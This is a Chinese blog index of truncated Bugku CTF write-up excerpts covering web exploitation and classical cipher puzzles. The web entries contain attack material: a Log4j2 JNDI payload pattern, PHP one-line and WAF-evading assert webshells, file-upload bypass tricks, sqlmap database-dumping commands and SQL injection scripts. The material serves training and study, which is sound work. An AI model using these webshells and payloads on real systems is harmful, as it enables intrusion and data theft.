
BUGKU
显哥无敌
南京赵显
展开
-
Bugku WEB Apache Log4j2 RCE
bugku最近上新了一题log4j2的题,紧跟时代,刷一刷先简单说一下这个漏洞的原理吧,本质是JNDI注入需要说的是,这题需要弹VPS,也就是你得有公网IP通过构造形如${jndi:ldap:}或者${jndi:rmi}之类的恶意payload,可以造成任意命令执行漏洞防护的常用思路:更新apache2 log4j2版本到2.15以上一般来说可能造成此漏洞的API包括但不限于logger.info(),logger.error()具体的调用链可以看这篇https://www.anquanke.c原创 2021-12-13 09:29:30 · 2078 阅读 · 2 评论 -
Bugku Crypto Maths&English
没啥好说的,一堆等式,那就算算出来的结果21 33 1 22 3 44 54 5 1 35 54 3 35 41 52 13观察序列,发现所有位置都是12345那么就考虑是元音密码关于元音密码,可以看这一篇https://www.tuilixy.net/forum.php?mod=viewthread&tid=3538&mobile=no简单来说,就是以5个原因字符做分隔符,右边的字符分别编号然后再把对应数字转字符即可提交flag的时候小心,把flagis去了参考视频链接原创 2021-08-15 11:21:49 · 249 阅读 · 0 评论 -
Bugku Crypto 你以为是md5吗
这题考点就一个md5值组成规则32位or64位,组成元素是a-f0-9观察发现35位多了三位iou去掉md5解密即可得flag参考视频链接:https://www.bilibili.com/video/BV1X64y1B7CW/原创 2021-08-07 12:38:46 · 202 阅读 · 0 评论 -
Bugku Crypto EN-气泡
今天攻防世界场景好像出问题了,做两道bugku的密码题吧第一题考的是气泡密码气泡密码的原理看这篇:https://blog.youkuaiyun.com/qq_43428547/article/details/106819278基本识别:x开头,x结尾,某些特定位是元音字母,而且出现频率特别高,而且基本单元是5元组在线工具http://ctf.ssleye.com/bubble.html我也看别人说了,这东西时灵时不灵,还是自己写脚本靠谱python自带包from bubblepy import Bubb原创 2021-08-07 11:47:27 · 870 阅读 · 0 评论 -
Bugku Crypto 小山丘的秘密
这题考的是希尔密码,关于希尔密码可以看这个:https://blog.youkuaiyun.com/weixin_30451709/article/details/97581118写的很详细,就这题分析一下,密钥3*3矩阵【123】【014】【560】然后求这个矩阵的逆矩阵再根据给定的起始条件(a为1),把密文换成数据PLGTGBQHM,P为16,依次类推注意是先填充列,即第二行第一个是L,第三行第一个是G然后就是一个33和33矩阵互乘,得到结果再变换成字母即可当然可以在线解密http://www.a原创 2021-08-06 11:26:06 · 244 阅读 · 0 评论 -
Bugku Crypto 你喜欢下棋吗
这题考察两种密码形式,都是对应密码其中第一个密码是棋盘密码,这很好理解,就是把26个字母分布在25个棋盘格子里,其中i,j共用一格然后两个数字一组,对应横纵坐标,鉴于这题密码不长,直接读出即可thisispolybius打开flag.txt,发现是5位01组合的数,经过查阅知道是博多密码也是一种对应密码,直接在线解密就好https://www.boxentriq.com/code-breaking/baudot-code参考视频链接:https://www.bilibili.com/video原创 2021-08-05 11:37:45 · 274 阅读 · 0 评论 -
Bugku Crypto 把猪圈在猪圈里
猪圈是简单的替换密码,(亦称朱高密码、共济会暗号、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码。即使使用符号,也不会影响密码分析,亦可用在其它替代式的方法。下载文件base64解码,转成图片在线网站:https://tool.jisuapi.com/base642pic.html发现是猪圈密码,在线解密网站http://www.metools.info/code/c90.html按图片格式输入即可参考视频链接:https://www.bilibili.com/video/BV1原创 2021-08-04 10:17:54 · 204 阅读 · 0 评论 -
Bugku Crypto 抄错的字符
这题分析一下,一共19位,每一位都有可能是大写字母,小写字母,数字,算下来如果暴力破解,是3981312万条数据,将近400万条数据那肯定不能硬跑,于是分析一下,大写,小写,数字,很有可能是base64编码那么就决定局部跑一下,只保留那些像base64编码的字符串先借用大佬的脚本看一下思路<?php$list=array();function fun($str,$index=0){ if($index==strlen($str)){ global $list;原创 2021-08-03 13:08:03 · 629 阅读 · 0 评论 -
Bugku WEB noteasytrick
首先感谢大佬的文章,我是一直卡在如何删除lock文件,先放传送门:https://blog.youkuaiyun.com/qq_53460654/article/details/116798346这题的主要考点数ZipArchive类用open方法删除文件和fastcoll工具的运用<?phperror_reporting(0);ini_set("display_errors","Off");class Jesen { public $filename; public $content原创 2021-07-30 21:25:04 · 648 阅读 · 0 评论 -
Bugku WEB getshell
这题的主要考点在于php代码混淆和flag提权解码下来是这个打开场景,发现一堆混淆了的PHP代码,找一个在线解密的网站https://www.zhaoyuanma.com/phpjm.html解密出来发现,有一个已经准备好的POST马,密码ymlisisisiook经过测试冰蝎,菜刀都不能用,上蚁剑连上去可以连,但是权限仅限当前目录,需要提权查了一下,disable_function(),就跟着常用思路走了一遍,原理不是很懂反正putenv没有过滤,用ld_preload方式绕过,链接.an原创 2021-07-29 11:30:12 · 477 阅读 · 0 评论 -
Bugku WEB CBC
这题考的是CBC分组加密攻击,反正dirsearch先扫一波,index.php.swp然后就vim -r index.php.swp查看源码<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-原创 2021-07-28 18:55:47 · 433 阅读 · 0 评论 -
Bugku WEB sql注入
明显的布尔盲注。md5值和之前的一样,bugkuctf这题也是过waf题,具体过滤了哪些字符可以用burpsuite跑个字典看看。然后就是#,substr这两个关键的函数没有进行过滤,那么可以根据这个构造payload,由于空格被过滤了,所以,考虑用()代替空格把上一题的脚本改改,爆破出密码来,那就可以直接提交得到flag了import requests#password一般由大小写字母和数字组成allString = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJK原创 2021-07-27 12:00:47 · 662 阅读 · 0 评论 -
Bugku web login2
今天中午忙着去吃饭,场景过时了,就没法录视频了,简单说一下吧:前面都一样,通过sql注入过登录界面,先随便提交点啥,burp抓包,发现response有base64编码内容,解码发现是php代码$sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){}由于没有限制行数,盲猜可以un原创 2021-07-26 16:06:22 · 601 阅读 · 1 评论 -
Bugku WEB 都过滤了
这题呢,网上有很多解法,那都是这个题目没有完善之前的,现在来说已经修复的差不多了,像以前的直接/flag当然行不通,源码泄露啥的也被删了严格来说,其实这是一道sql注入题打开场景,啥提示没有,那就dirsearch扫一波,在一番查找过后,发现images文件夹下有一张图片,那就是作者给的提示,也就是不是数字开头的字符串在比较时会自动转成0那么他的提示里0=0也就是永真,所以可以爆出所有的用户名友情小tips:三个0异或不是1,而是0,不要想当然,这就是一个存粹的数学问题最后一个式子给出了如何有条件原创 2021-07-25 13:58:27 · 989 阅读 · 1 评论 -
Bugku WEB 点login咋没反应
这题没什么,日常打开页面,看源码,有一个超链接,那就点进去,有提示,尝试传参13512那就传吧,直接得到php源码,接下来就是源码分析也没啥就是一个简单的if判断cookie要有BUGKU字段,内容要是一个序列化的ctf.bugku.com在线PHP序列化网址https://www.toolnb.com/dev/runCode/243e11a40a13ca67d0f13d10dadfdd48.htmlburp抓包 repeater,再改一下cookie就能得到flag了参考视频链接:https原创 2021-07-24 15:23:43 · 435 阅读 · 1 评论 -
Bugku WEB newphp
这题确实对的起他的位置字符串逃逸加ssrf关于字符串逃逸呢,建议看这篇文章,用例写的比较简单,适合新手https://blog.youkuaiyun.com/qq_43431158/article/details/108210822简单一句话来说,就是先序列化,再过滤的话,如果你的过滤规则让字符变多的话,可以通过payload带过去一个属性,覆盖掉你原来的属性举个简单的例子,原先的属性1:x(17个)+带过去的属性s:1:“a”;s:1:“b”;}(17个字符)原先的属性2 s:1:“a”;s:1:“c”;(原创 2021-07-23 11:44:08 · 590 阅读 · 4 评论 -
Bugku WEB 需要管理员
这题没意思。。。。。。。。。。。进来一个404,看源码也没啥好看的,那就dirsearch扫就扫出来一个robots.txt,那就进去看看resusl.php,看出来是后台界面打开发现需要判断传入x值等于password变量值,那么就是密码爆破既然没有任何提示,那么就是弱口令,直接试个admin果然是直接得到flag...原创 2021-07-22 20:51:30 · 551 阅读 · 2 评论 -
Bugku WEB 文件包含2
和包含1的2解法基本上一模一样,多文件后缀加菜刀可解,就记几个新加的点吧<?php?>被过滤,可以考虑用<?=?>或者<script language=php></script>代替菜刀直接连接会被拒绝,需要通过文件包含的路径去间接访问,可能是对upload设置了权限,不允许外部访问,也就是菜刀输路径的时候要形如index.php?file=这样去访问忘了看源码就提交flag了,有兴趣的看一下upload.php的源码,相信会更清楚一点参考视频链接:原创 2021-07-21 11:01:15 · 302 阅读 · 2 评论 -
Bugku WEB decrypt
纯粹的解密题,我怀疑是不是放错了分区<?phpfunction encrypt($data,$key){ $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; }原创 2021-07-20 13:06:23 · 860 阅读 · 5 评论 -
Bugku WEB 文件上传(两种方式)
这题是纯黑盒测试,没有捷径可走,只能不停的试验<?phpfunction global_filter(){$type = $_SERVER["CONTENT_TYPE"];if (strpos($type,"multipart/form-data") !== False){$file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1); $file_ext原创 2021-07-19 10:40:26 · 694 阅读 · 2 评论 -
Bugku WEB 安慰奖
<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->"; #base64解码,backupsclass ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd)原创 2021-07-18 10:49:16 · 291 阅读 · 0 评论 -
Bugku WEB file_get_contents
file_get_contents绕过:解法1:?ac=bugku&fn=flag.txt由于flag.txt里面内容就是bugku,当然可以绕过,当然,这属于投机取巧,不具有一般性解法2:?ac=bugku&fn=php://input在burp抓到数据包里的数据部分写上bugku,利用php://input伪协议进行绕过解法3:?ac=bugku&fn=data://text/plain,bugku利用data://text/plain伪协议进行绕过data伪协议只原创 2021-07-17 16:37:15 · 1591 阅读 · 3 评论 -
bugku WEB 各种绕过哟
越靠后题目咋越简单呢跟之前一样uname不等于passwd,sha1值不能一样数组绕过即可http://114.67.246.176:13863/?id=margin&uname[]=1post带一个passwd[]=2可得flag参考视频链接:https://www.bilibili.com/video/BV1Jq4y1W7hr/...原创 2021-07-16 09:30:32 · 299 阅读 · 0 评论 -
Bugku WEB md5+程序员本地网站
今天这两题都比较容易,就不演示了第一题:md5 ,没有啥的,直接撞库,直接传参?a=s532378020a不要想为什么,就是应撞,简单粗暴第二题:程序员本地网站 ,经典X-Forwarded-For:127.0.0.1直接得到flag,这两题放在后面的位置,但是比之前的还简单,挺浪费积分的...原创 2021-07-15 10:02:25 · 168 阅读 · 0 评论 -
Bugku WEB 你从哪里来
就怕直接把答案直接给你了,提示,你是从google来的吗,题目,你从哪里来说不是加Referer我都不信burpsuite抓包,加referer头,即可得到flagreferer:http://www.google.com参考视频链接:https://www.bilibili.com/video/BV1bq4y1W7qC/...原创 2021-07-14 10:09:03 · 250 阅读 · 0 评论 -
Bugku WEB login1
注册系统和登陆系统的简单联动简单来说SQL约束攻击,就是当你注册的时候输入的’admin ',由于SQL指定了字符串长度,这题应该是5。所以存到数据库里的就是’admin’和你的密码这么来看在做注册功能的时侯,什么处理都没做,直接往数据库插数据,你输入的是啥,就直接带到数据库里了,然后数据库帮你自动截取了前五位,而且没对admin账户做唯一性处理直接注册’admin ':‘1a2b3C’注册成功后,在登陆界面输入’admin’:‘1a2b3C’数据库里有两条admin信息,原创 2021-07-13 11:15:53 · 168 阅读 · 0 评论 -
Bugku WEB 前女友
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $原创 2021-07-12 21:25:46 · 210 阅读 · 0 评论 -
Bugku WEB 字符?正则?
<?php highlight_file('2.php');$key='flag{********************************}';$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);if( $IM ){ die('key is: '.$key);}?> 没啥好说的,正则绕过/key.*key.{4,7}key:.原创 2021-07-11 10:53:20 · 143 阅读 · 0 评论 -
Bugku WEB sodirty
其实还是源码分析dirsearch扫路径,发现有www备份,下载下来肯定是源码分析文件有点多 more ./*|grep flag一个一个文件夹找,在router目录下找到index.js找到flag相关代码,后来查阅资料发现node.js里面router是根据路由去分模块就相当java里的spring mvc直接跟用户交互用来寻找功能函数的框架查看源码:var express = require('express');const setFn = require('set-value');va原创 2021-07-10 18:24:15 · 1176 阅读 · 0 评论 -
Bugku WEB 冬至红包
源码都给了,当然是代码分析<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($原创 2021-07-09 12:30:31 · 145 阅读 · 0 评论 -
Bugku WEB xxx二手交易市场
1.打开场景,发现是一个二手交易市场,常用思路是商品信息啥的,后台登录啥的,sql注入啥的,反正一通尝试,发现在注册后更换头像时存在上传漏洞,,抓包改包那么就可以拿到shell,注意这里需要把一句话木马base64编码,data:image/jpeg,可以指定文件后缀,将jpeg改为php后后台就会将其解析为php文件一句话<?php eval($_REQUEST[8]) ?>这里要注意,提升上去的system()后面要加;收尾,否则会报错,不知道为啥,大佬可以给个评论2.据说蚁剑菜刀啥的原创 2021-07-08 13:46:36 · 396 阅读 · 0 评论 -
Bugku WEB 聪明的PHP
1.打开场景,发现让你传个参数,那就传,?filename=1212121随便啥参数都行,然后php源码就直接给你了,很明显,是想让你绕过2.过滤了一大堆系统命令执行函数,越过滤越说明这题是远程系统命令调用,passthru()函数并没有被过滤,我本来想反引号绕过,后来发现,反引号绕过是exec绕过的简写,exec被禁用的话,``也就失效了3.查看源码,是一个smarty模板,考虑模板注入,常见姿势{}{{}}{if 函数}{/if}命令很多,自行调用4,关于cat被禁用 more tac原创 2021-07-07 10:55:01 · 286 阅读 · 0 评论 -
Bugku WEB 速度要快
同时需要注意的一次解码的仍然是base64编码的,两次解码,得到margin带过去就好至于margin,熟悉CSS的知道他是边距,当然是个数字写脚本#! /usr/bin/pythonimport requestsimport reimport base64s=requests.session()url=“http://114.67.246.176:17375/”result=s.get(url).headersprint(result)flag1=result[‘flag’]str原创 2021-07-06 10:50:32 · 228 阅读 · 0 评论 -
Bugku WEB 秋名山车神
1.打开场景,发现是一个表达式求值,而且要求是两秒之内求值,刷新发现表达式变了,手动算是不可能了,写脚本跑吧2.上脚本内容#! /usr/bin/pythonimport requests #引入request库import re #引入re库 url ="http://114.67.246.176:17738/"s = requests.session() #session表示复用与目标的链接,可以多次以一个cookie与服务器通信retuen = s.get(url)原创 2021-07-05 09:53:18 · 270 阅读 · 1 评论 -
Bugku WEB 成绩查询
1.打开场景,是一个成绩查询系统,按照提示常规操作1,2,3,4…试试试,发现只有三条数据2.单引号尝试,没输出,考虑是单引号闭合,加#尝试,确认存在sql注入3.接下来可以用sqlmap直接跑,也可以自己手工爆破,亲测sqlmap跑的相当慢,建议自己手工注sqlmap跑过程:随便查询什么,burp抓包,导入到sqlmap中,以1.txt为例sqlmap -l 1.txtsqlmap -l 1.txt --dbs //爆数据库sqlmap -l 1.txt -D skctf --tables /原创 2021-07-04 11:36:46 · 289 阅读 · 0 评论 -
Bugku WEB cookies
打开场景,直接在url里面带了filename,明显的文件读取漏洞利用脚本读取index.php的所有内容——------------------------------#! /usr/bin/pythonimport requestsa=30for i in range(a): url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" s=requests原创 2021-07-01 10:02:02 · 218 阅读 · 0 评论 -
Bugku WEB shell
1.打开场景,啥有没有,常规操作:查看源码,扫路径,抓包也是啥也没有2.查看作者提示,送给大家一个过狗一句话 $poc=“a#s#s#e#r#t”;$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) 其实就是运用拼接过waf,最后的运行结果是assert($_GET[‘s’])很明显assert是能执行shell命令的危险原创 2021-07-03 15:36:47 · 2266 阅读 · 2 评论 -
Bugku WEB never give up
1.打开环境,neer never never give up 审计源码,发现1p.html2.尝试访问1p.html,跳转到bugku首页,抓包分析,发现js代码3.利用burpsuite解码模块得到源码,应该是PHP代码————————————————————————————<script>window.location.href='http://www.bugku.com';</script> <!--";if(!$_GET['id']) //id为0或空,进入原创 2021-07-02 10:04:00 · 280 阅读 · 0 评论